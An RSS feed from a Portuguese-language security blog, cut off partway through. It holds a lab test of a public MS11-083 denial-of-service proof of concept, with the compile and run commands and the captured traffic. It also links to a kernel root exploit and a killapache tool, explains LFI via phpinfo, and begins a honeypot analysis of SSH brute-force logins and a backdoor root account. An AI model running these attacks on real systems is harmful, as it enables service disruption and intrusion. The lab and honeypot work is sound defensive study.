<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>L8Howto</title>
	<atom:link href="http://www.layer8howto.net/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.layer8howto.net/wordpress</link>
	<description></description>
	<lastBuildDate>Mon, 14 Nov 2011 03:24:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>PoC MS11-083</title>
		<link>http://www.layer8howto.net/wordpress/2011/11/14/poc-ms11-083/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/11/14/poc-ms11-083/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 03:19:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[2003 server]]></category>
		<category><![CDATA[Dos]]></category>
		<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=384</guid>
		<description><![CDATA[Informado pela sans.. An integer overflow in the TCP/IP stack allows random code execution from a stream of UDP packets sent to a closed port. Permission for the attacker are at kernel level. Depois de sair o exploit para a vulnerabilidade MS11-083 realizei a prova de conceito para verificar o que ocorre na tal situação. A Mirosoft [...]]]></description>
			<content:encoded><![CDATA[<p>Informado pela sans..</p>
<table width="100%" border="1" cellspacing="0" cellpadding="4">
<tbody>
<tr>
<td style="text-align: center;" rowspan="2"></td>
<td colspan="6">An integer overflow in the TCP/IP stack allows random code execution from a stream of UDP packets sent to a <strong>closed</strong> port. Permission for the attacker are at kernel level.</td>
</tr>
</tbody>
</table>
<p>Depois de sair o exploit para a vulnerabilidade <a href="http://technet.microsoft.com/pt-br/security/bulletin/ms11-083" target="_blank">MS11-083</a> realizei a prova de conceito para verificar o que ocorre na tal situação.</p>
<p>A Mirosoft informou que para se explorada será necessário enviar aproximadamente 2^32 pacotes UDP para obter êxito na exploração.</p>
<p>No lab temos um Debian que faz o ataque e o Windows 2003 Standard com 1Gb de memória RAM 4 CPU&#8217;s que será atacado.</p>
<p>O exploit divulgado publicamente: http://packetstormsecurity.org/files/106873/winnuke2011.sh.txt , utilizei somente o código em C .</p>
<p>&nbsp;</p>
<p>Compilando&#8230;.</p>
<p>debian:~/2003# gcc -lpthread MS11-083.c -o MS11-083</p>
<p>debian:~/2003# ./MS11-083<br />
[+] MS11-083 DoS/PoC exploit<br />
[!] Usage : ./MS11-083 &lt;server&gt; &lt;port&gt;</p>
<p>&nbsp;</p>
<p>No Windows.. tudo sobre controle..</p>
<p>&nbsp;</p>
<div id="attachment_386" class="wp-caption aligncenter" style="width: 425px"><a href="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/11/11.jpg"><img class="size-full wp-image-386" title="Antes do Ataque" src="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/11/11.jpg" alt="Antes do Ataque" width="415" height="457" /></a><p class="wp-caption-text">Antes do Ataque</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Começamos o ataque&#8230;</p>
<p>debian:~/2003# ./MS11-083 192.168.10.131 1000<br />
[+] MS11-083 DoS/PoC exploit<br />
[-] Sending payload &#8216;ZSW&#8221;&lt;kc&#8217;ULJ=VK%XE-cP0*%(&#8216;bORT=&#8221;;D&#8221;[c=S'<br />
[-] Thread number 0 started<br />
[-] Sending payload &#8217;60&amp;a;%=^,7FKMc[D=J&gt;90J6Y7DR]*PC&lt;&amp;8&#8242;.%) &#8216;<br />
[-] Thread number 1 started<br />
[-] Sending payload &#8216;dCJe-f+65f9@NJhH-c&#8221;!?XU% (7#TDOhjIa+`=_)&#8217;<br />
[-] Thread number 2 started<br />
[-] Sending payload &#8216;/;.S&#8221;0:#dd=kSACiD=S!OLO#V/ZLP&lt;]L`?,/D$&#8217;<br />
[-] Thread number 3 started<br />
[-] Sending payload &#8216;&#8221;S.Q]=JOT&#8221; (8%O)-4bF+NeN I@**A&lt;.Di/RV\5&gt;&#8217;<br />
[-] Thread number 4 started<br />
[-] Sending payload &#8216;Ag0BMF&#8221;FF[ aB]*9*UQi&lt;2H!8X&amp;LieC&gt;`U1AKQ7B&#8217;<br />
[-] Thread number 5 started<br />
[-] Sending payload &#8216;,=aTOe9-]&#8221;A&amp;,B-;:b,f0&lt;@BVX#VbM&#8217;WQD;K_f&#8217;<br />
[-] Thread number 6 started<br />
[-] Sending payload &#8216;AH2M R!h\+#H&gt;e.VD-bDI;1&#8243;JJ&#8217; JeQG6Sg2C&#8217;<br />
[-] Thread number 7 started<br />
[-] Sending payload &#8216;*X-KOSYQF!86#M53C^f1Z+jM=*+[.e56&amp;0h)kiQ'<br />
[-] Thread number 8 started</p>
<p>&nbsp;</p>
<p>Em questão de segundos veremos o gráfico de performace do Windows..</p>
<div id="attachment_387" class="wp-caption aligncenter" style="width: 424px"><a href="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/11/2.jpg"><img class="size-full wp-image-387" title="Após o ataque" src="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/11/2.jpg" alt="Após o ataque" width="414" height="458" /></a><p class="wp-caption-text">Após o ataque</p></div>
<p>Em outro console temos a saída do tcpdump</p>
<p>debian:~/2003# tcpdump -X -vvv -i eth0 dst host 192.168.10.131<br />
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes<br />
23:47:47.221788 IP (tos 0&#215;0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 &gt; 192.168.10.131.1000: [udp sum ok] UDP, length 41<br />
0&#215;0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T&#8230;.<br />
0&#215;0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  &#8230;..}&#8230;1..bP]*<br />
0&#215;0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2&#8242;;:I!V<br />
0&#215;0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_&#8221;W#(MU6&#8242;A<br />
0&#215;0040:  465a 4b4c 00                             FZKL.<br />
23:47:47.221846 IP (tos 0&#215;0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 &gt; 192.168.10.131.1000: [udp sum ok] UDP, length 41<br />
0&#215;0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T&#8230;.<br />
0&#215;0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  &#8230;..}&#8230;1..bP]*<br />
0&#215;0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2&#8242;;:I!V<br />
0&#215;0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_&#8221;W#(MU6&#8242;A<br />
0&#215;0040:  465a 4b4c 00                             FZKL.<br />
23:47:47.221850 IP (tos 0&#215;0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 &gt; 192.168.10.131.1000: [udp sum ok] UDP, length 41<br />
0&#215;0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T&#8230;.<br />
0&#215;0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  &#8230;..}&#8230;1..bP]*<br />
0&#215;0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2&#8242;;:I!V<br />
0&#215;0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_&#8221;W#(MU6&#8242;A<br />
0&#215;0040:  465a 4b4c 00                             FZKL.<br />
23:47:47.221853 IP (tos 0&#215;0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 &gt; 192.168.10.131.1000: [udp sum ok] UDP, length 41<br />
0&#215;0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T&#8230;.<br />
0&#215;0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  &#8230;..}&#8230;1..bP]*<br />
0&#215;0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2&#8242;;:I!V<br />
0&#215;0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_&#8221;W#(MU6&#8242;A<br />
0&#215;0040:  465a 4b4c 00                             FZKL.<br />
23:47:47.221856 IP (tos 0&#215;0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 &gt; 192.168.10.131.1000: [udp sum ok] UDP, length 41<br />
0&#215;0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T&#8230;.<br />
0&#215;0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  &#8230;..}&#8230;1..bP]*<br />
0&#215;0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2&#8242;;:I!V<br />
0&#215;0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_&#8221;W#(MU6&#8242;A<br />
0&#215;0040:  465a 4b4c 00                             FZKL.</p>
<p>&nbsp;</p>
<p>Nesta situação temos somente 1 computador atacando, o script esta utilizando toda a CPU do Debian.</p>
<p>PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND<br />
3541 root         20   0  273m    976  484   S  97.2     0.2           0:16.40 MS11-083</p>
<p>&nbsp;</p>
<p>No atual lab não conseguimos causar um DoS no alvo, mas de acordo com os resultados vimos que isso seria possível seeeeeeeeee&#8230; o firewall estivesse desabilitado&#8230;.</p>
<p>Agora vamos habilitar o firewall do windows, e voltaremos ao ataque e os gráficos&#8230;</p>
<p>&nbsp;</p>
<div id="attachment_388" class="wp-caption aligncenter" style="width: 726px"><a href="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/11/3.jpg"><img class="size-full wp-image-388" title="Firewalled" src="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/11/3.jpg" alt="Firewalled" width="716" height="472" /></a><p class="wp-caption-text">Firewalled</p></div>
<p>&nbsp;</p>
<p>Ou seja, o ataque pode ser mitigado sem muitos problemas. Para completar os 2^32 pacotes enviados levaria aproximadamente 52 dias, paramos por aqui sem a verdadeira prova que seria possível executar um código remotamente.</p>
<p>Mais informações sobre o Bug: <a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-083" target="_blank">http://technet.microsoft.com/en-us/security/bulletin/ms11-083</a></p>
<p>Resumindo, sempre firewall ativado e sistema atualizado!</p>
<p>Outro exploit e mais infos pode ser encontrado também em: <a href="http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture" target="_blank">http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture</a></p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/11/14/poc-ms11-083/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kernel 2.6.30 Local Root Exploit</title>
		<link>http://www.layer8howto.net/wordpress/2011/10/03/kernel-2-6-30-local-root-exploit/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/10/03/kernel-2-6-30-local-root-exploit/#comments</comments>
		<pubDate>Mon, 03 Oct 2011 12:33:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=373</guid>
		<description><![CDATA[Mais um xploit para kernel 2.6.30.... http://1337day.com/exploits/16993 []'s Sérgito]]></description>
			<content:encoded><![CDATA[<pre>Mais um xploit para kernel 2.6.30....

<a href="http://1337day.com/exploits/16993">http://1337day.com/exploits/16993</a>

[]'s
Sérgito</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/10/03/kernel-2-6-30-local-root-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>killapache redone</title>
		<link>http://www.layer8howto.net/wordpress/2011/10/03/killapache-redone/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/10/03/killapache-redone/#comments</comments>
		<pubDate>Mon, 03 Oct 2011 12:20:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Dos]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=371</guid>
		<description><![CDATA[Depois do killapache codado pelo kingcope, saiu publicamente hoje a nova versão modificada por “S4(uR4″. Postado no pastebin, segue link abaixo: http://pastebin.com/gWB76qmj &#160; []&#8216;s Sergito]]></description>
			<content:encoded><![CDATA[<p>Depois do killapache codado pelo kingcope, saiu publicamente hoje a nova versão modificada por “S4(uR4″. Postado no pastebin, segue link abaixo:</p>
<p><a href="http://pastebin.com/gWB76qmj">http://pastebin.com/gWB76qmj</a></p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/10/03/killapache-redone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LFI com phpinfo</title>
		<link>http://www.layer8howto.net/wordpress/2011/09/08/lfi-com-phpinfo/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/09/08/lfi-com-phpinfo/#comments</comments>
		<pubDate>Thu, 08 Sep 2011 13:15:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=368</guid>
		<description><![CDATA[Algo que ja era discutido anteriormente pelos russos caiu na mídia ontem,  mas a novidade desta vez é a utilização do php.info para injetar arquivos e ler outros arquivos do alvo. Como?? A saída do PHPinfo() contém valores das variáveis PHP que utilizam o _GET, _POST e uploaded _FILES. Enquanto a requisição é feita, é [...]]]></description>
			<content:encoded><![CDATA[<p>Algo que ja era discutido anteriormente pelos <a href="http://forum.antichat.ru/threadnav51096-1-10.html">russos</a> caiu na mídia ontem,  mas a novidade desta vez é a utilização do php.info para injetar arquivos e ler outros arquivos do alvo.</p>
<p>Como??</p>
<p>A saída do PHPinfo() contém valores das variáveis PHP que utilizam o _GET, _POST e uploaded _FILES. Enquanto a requisição é feita, é escrito no /tmp um arquivo temporário que será a saída da chamada do phpinfo() que depois do processamento será deletada. Seguindo esta lógica&#8230; não conseguiu imaginar??</p>
<p>Segue o link do paper completo que foi descoberto pelo time da insomniasec: <a href="http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf">http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf</a></p>
<p>Não são em todas condições que é válido, mas na grande maioria..</p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sérgito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/09/08/lfi-com-phpinfo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Análise de um Servidor Comprometido.</title>
		<link>http://www.layer8howto.net/wordpress/2011/08/09/analise-de-um-servidor-comprometido/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/08/09/analise-de-um-servidor-comprometido/#comments</comments>
		<pubDate>Tue, 09 Aug 2011 05:58:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[md5 cracker]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=364</guid>
		<description><![CDATA[Para a execução deste artigo foi instalado o Debian Lenny, puro, somente o necessário para o sistema operacional entrar em funcionamento, nenhum modo gráfico, e a partir dai foram instalados os serviços que foram a isca para os atacantes. O Samhain, um excelente Host Intrusion Detection System (HIDS) foi devidamente configurado para enviar os alertas [...]]]></description>
			<content:encoded><![CDATA[<p>Para a execução deste artigo foi instalado o <em>Debian Lenny</em>, puro, somente o necessário para o sistema operacional entrar em funcionamento, nenhum modo gráfico, e a partir dai foram instalados os serviços que foram a isca para os atacantes.</p>
<p>O <em>Samhain</em>, um excelente <em>Host Intrusion Detection System</em> (HIDS) foi devidamente configurado para enviar os alertas por e-mail de cada mudança no sistema operacional.</p>
<p>&nbsp;</p>
<p>No cenário suponhamos que um <em>Sysadmin</em> configurou incorretamente o servidor, foi criado um usuário sysctl com poderes de root para o acesso, capturar evidencias com o mínimo de tempo possível conectado ao servidor evitando deixar rastros</p>
<p>&nbsp;</p>
<p><strong>Overview do Sistema Operacional</strong></p>
<p><strong> </strong>            Vejamos abaixo as versões dos serviços e outras informações úteis do sistema operacional:</p>
<p>&nbsp;</p>
<div>
<p>root@dns:~# uname -a</p>
<p>Linux dns 2.6.26-2-686 #1 SMP Mon Aug 30 07:01:57 UTC 2010 i686 GNU/Linux</p>
</div>
<p>&nbsp;</p>
<p><strong>Serviços e Ferramentas:</strong></p>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep apache</p>
<p>ii  apache2                           2.2.9-10+lenny8            Apache HTTP Server</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep postfix</p>
<p>ii  postfix                           2.5.5-1.1                 High-performance mail transport agent</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep ssh</p>
<p>ii  ssh                               1:5.1p1-5                  secure shell client and server</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep nmap</p>
<p>ii  nmap                              4.62-1                     The Network Mapper</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep tcpdump</p>
<p>ii  tcpdump                           3.9.8-4                    A powerful tool for network</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep netcat</p>
<p>ii  netcat-traditional                1.10-38                    TCP/IP swiss army knife</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep mysql</p>
<p>ii  mysql-common                      5.0.51a-24+lenny4          MySQL database common</p>
</div>
<p>&nbsp;</p>
<div>
<p>root@dns:~# dpkg &#8211;list |grep samhain</p>
<p>ii  samhain                           2.2.3-6.2     Data integrity and host intrusion alert system</p>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div>
<p>root@dns:~# free -m</p>
<p>total       used       free     shared    buffers     cached</p>
<p>Mem:                          1011        124        887          0         11         86</p>
<p>-/+ buffers/cache:         27          984</p>
<p>Swap:                         1608          0        1608</p>
</div>
<p>&nbsp;</p>
<p><strong>Nmap:</strong></p>
<div>
<p>dns:~# nmap localhost</p>
<p>&nbsp;</p>
<p>Starting Nmap 4.62</p>
<p>Interesting ports on localhost (127.0.0.1):</p>
<p>Not shown: 1712 closed ports</p>
<p>PORT    STATE SERVICE</p>
<p>22/tcp  open  ssh</p>
<p>80/tcp  open  http</p>
<p>111/tcp open  rpcbind</p>
<p>Nmap done: 1 IP address (1 host up) scanned in 0.164 seconds</p>
</div>
<p>Lembrando que nenhuma porta dos serviços instalados foram alteradas, tudo esta instalado como padrão do sistema.</p>
<p>Pronto!! O servidor esta no ar!! Com o Ip <strong>189.100.65.245</strong> e aguardando os mais variado tipos de ataques.</p>
<p><strong>PRIMEIRA SEMANA</strong></p>
<p>Nos primeiro dias nada de eventos, o <em>samhain</em> nada enviou nestes dois primeiros dias, o motivo disso é que o IP ainda não foi escaneado pelos <em>bots</em> da internet.</p>
<p>Porém no 3º dia começaram os <em>brute forces</em>, muitas conexões em cima do protocolo ssh, vejamos abaixo:</p>
<div>
<p><em>22:22:29 dns sshd[2365]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root</em></p>
<p><em>22:22:32 dns sshd[2365]: Failed password for root from 60.191.187.227 port 38395 ssh2</em></p>
<p><em>22:22:34 dns sshd[2367]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root</em></p>
<p><em>22:22:37 dns sshd[2367]: Failed password for root from 60.191.187.227 port 38627 ssh2</em></p>
<p><em>22:22:39 dns sshd[2369]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root</em></p>
<p><em>22:22:41 dns sshd[2369]: Failed password for root from 60.191.187.227 port 38844 ssh2</em></p>
<p><em>22:22:44 dns sshd[2371]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root</em></p>
<p><em>22:22:46 dns sshd[2371]: Failed password for root from 60.191.187.227 port 39037 ssh2</em></p>
<p><em>22:22:49 dns sshd[2373]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root</em></p>
<p><em>22:22:51 dns sshd[2373]: Failed password for root from 60.191.187.227 port 39272 ssh2</em></p>
<p><em>22:22:54 dns sshd[2375]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.191.187.227  user=root</em></p>
<p><em>22:22:56 dns sshd[2375]: Failed password for root from 60.191.187.227 port 39483 ssh2</em></p>
<p><em>22:23:00 dns sshd[2377]: Invalid user ftpadmin from 60.191.187.227</em></p>
<p><em>22:23:00 dns sshd[2377]: pam_unix(sshd:auth): check pass; user unknown</em></p>
<p><em>22:23:05 dns sshd[2379]: Invalid user postgres from 60.191.187.227</em></p>
<p><em>22:23:11 dns sshd[2381]: Invalid user oracle from 60.191.187.227</em></p>
<p><em>06:06:15 dns sshd[2787]: Failed password for root from 116.228.1.50 port 51577 ssh2</em></p>
<p><em>06:06:18 dns sshd[2789]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.228.1.50  user=root</em></p>
</div>
<p>&nbsp;</p>
<p>Este é um pequeno exemplo, abaixo os ip&#8217;s e suas origens&#8230;</p>
<p>&nbsp;</p>
<p>Ip&#8217;s que fizeram tentativas ao servidor &#8211; Total 5</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="360">
<p align="center"><strong>IP ORIGEM</strong></p>
</td>
<td valign="top" width="360">
<p align="center"><strong>LOCALIZAÇÃO</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="360">60.191.187.227</td>
<td valign="top" width="360">China</td>
</tr>
<tr>
<td valign="top" width="360">59.175.146.230</td>
<td valign="top" width="360">China</td>
</tr>
<tr>
<td valign="top" width="360">116.228.1.50</td>
<td valign="top" width="360">China</td>
</tr>
<tr>
<td valign="top" width="360">219.144.130.194</td>
<td valign="top" width="360">China</td>
</tr>
<tr>
<td valign="top" width="360">210.188.221.21</td>
<td valign="top" width="360">Japão</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Até que certo momento&#8230;..</p>
<p><em>03:40:08 dns sshd[2715]: Accepted password for root from 59.175.146.230 port 37674 ssh2</em></p>
<p>Primeiro <em>bot</em> vencedor!!</p>
<p>&nbsp;</p>
<p><em>Sep 17 06:06:24 dns sshd[2791]: Accepted password for root from 116.228.1.50 port 52201 ssh2</em></p>
<p>Segundo <em>bot</em> vencedor!!</p>
<p>&nbsp;</p>
<p><em>07:24:49 dns sshd[2920]: Accepted password for root from 58.211.1.163 port 20693 ssh2</em></p>
<p>Terceiro <em>bot</em> vencedor!!</p>
<p>Mais alguns dias se passam e mais <em>bots</em> e seus <em>brute forces</em>&#8230;.</p>
<p>Ip&#8217;s que fizeram tentativas ao servidor &#8211; Total 7</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="352">
<p align="center"><strong>IP ORIGEM</strong></p>
</td>
<td valign="top" width="351">
<p align="center"><strong>LOCALIZAÇÃO</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="352">60.191.187.227</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">59.175.146.230</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">116.228.1.50</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">219.144.130.194</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">210.188.221.21</td>
<td valign="top" width="351">Japão</td>
</tr>
<tr>
<td valign="top" width="352">87.197.108.112</td>
<td valign="top" width="351">Eslováquia</td>
</tr>
<tr>
<td valign="top" width="352">108.197.87.112</td>
<td valign="top" width="351">-</td>
</tr>
</tbody>
</table>
<p>Ainda na primeira semana&#8230;</p>
<div>
<p>&nbsp;</p>
<p><strong><em>17:53:58 dns sshd[5597]: Accepted password for root from 201.238.198.110 port 50330 ssh2</em></strong></p>
<p><strong><em> </em></strong><strong><em>17:53:58 dns sshd[5597]: pam_unix(sshd:session): session opened for user root by (uid=0)</em></strong></p>
<p><em> </em><em>17:54:05 dns sshd[5604]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110  user=root</em></p>
<p><em> </em><em>17:54:07 dns sshd[5604]: Failed password for root from 201.238.198.110 port 51232 ssh2</em></p>
<p><em> </em><em>17:54:08 dns sshd[5606]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110  user=root</em></p>
<p><em> </em><em>17:54:10 dns sshd[5606]: Failed password for root from 201.238.198.110 port 51911 ssh2</em></p>
<p><em> </em><em>17:54:12 dns sshd[5608]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.238.198.110  user=root</em></p>
</div>
<p>Acima temos um <em>bot</em>, de origem chilena, isto se ele não for um <em>proxy</em> de outro país, fez uma conexão ao servidor, obteve êxito e continua tentando mais senhas para o usuário root.</p>
<p>&nbsp;</p>
<p>Ip&#8217;s que fizeram tentativas ao servidor Total 9</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="352">
<p align="center"><strong>IP ORIGEM</strong></p>
</td>
<td valign="top" width="351">
<p align="center"><strong>LOCALIZAÇÃO</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="352">60.191.187.227</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">59.175.146.230</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">116.228.1.50</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">219.144.130.194</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">210.188.221.21</td>
<td valign="top" width="351">Japão</td>
</tr>
<tr>
<td valign="top" width="352">87.197.108.112</td>
<td valign="top" width="351">Eslováquia</td>
</tr>
<tr>
<td valign="top" width="352">108.197.87.112</td>
<td valign="top" width="351">-</td>
</tr>
<tr>
<td valign="top" width="352">201.238.198.110</td>
<td valign="top" width="351">Chile</td>
</tr>
<tr>
<td valign="top" width="352">190.17.234.2</td>
<td valign="top" width="351">Argentina</td>
</tr>
</tbody>
</table>
<p>Primeiro acesso inteligente no servidor! um usuário criado!! com os poderes de root !!</p>
<p>Tivemos um acesso de origem argentina e logo após o usuário criado!!</p>
<p><em>17:56:48 dns sshd[5692]: Accepted password for root from 190.17.234.2 port 57557 ssh2</em></p>
<div>
<p><em> </em><em>17:57:41 dns useradd[5743]: new user: name=game, UID=0, GID=0, home=/home/game, shell=/bin/sh</em></p>
</div>
<p>Mais um vencedor!!</p>
<p><em>07:48:04 dns sshd[15201]: Accepted password for root from 114.80.97.201 port 53137 ssh2</em></p>
<div>
<p><em> </em><em>07:48:04 dns sshd[15201]: pam_unix(sshd:session): session opened for user root by (uid=0)</em></p>
</div>
<p>Como temos um fuso horário bem diferente do lado oriente, aqui são 12:00h, no outro lado do mundo são 00:00h, tivemos grande quantidade de tentativas após este horário pelo ip 61.16.240.36</p>
<p>&nbsp;</p>
<div>
<p><em>12:56:38 dns sshd[18188]: Invalid user admin from 61.16.240.36</em></p>
<p><em>12:57:46 dns sshd[18222]: Failed password for invalid user webadmin from 61.16.240.36 port 40444 ssh2</em></p>
<p><em>12:57:51 dns sshd[18224]: Invalid user ftp from 61.16.240.36</em></p>
</div>
<p>&nbsp;</p>
<p>Desta vez o usuário test foi citado nos <em>logs</em>!! mas sem sucesso</p>
<p><em>12:57:55 dns sshd[18226]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.16.240.36  user=test</em></p>
<p>Ip&#8217;s que fizeram tentativas ao servidor Total 10</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="352">
<p align="center"><strong>IP ORIGEM</strong></p>
</td>
<td valign="top" width="351">
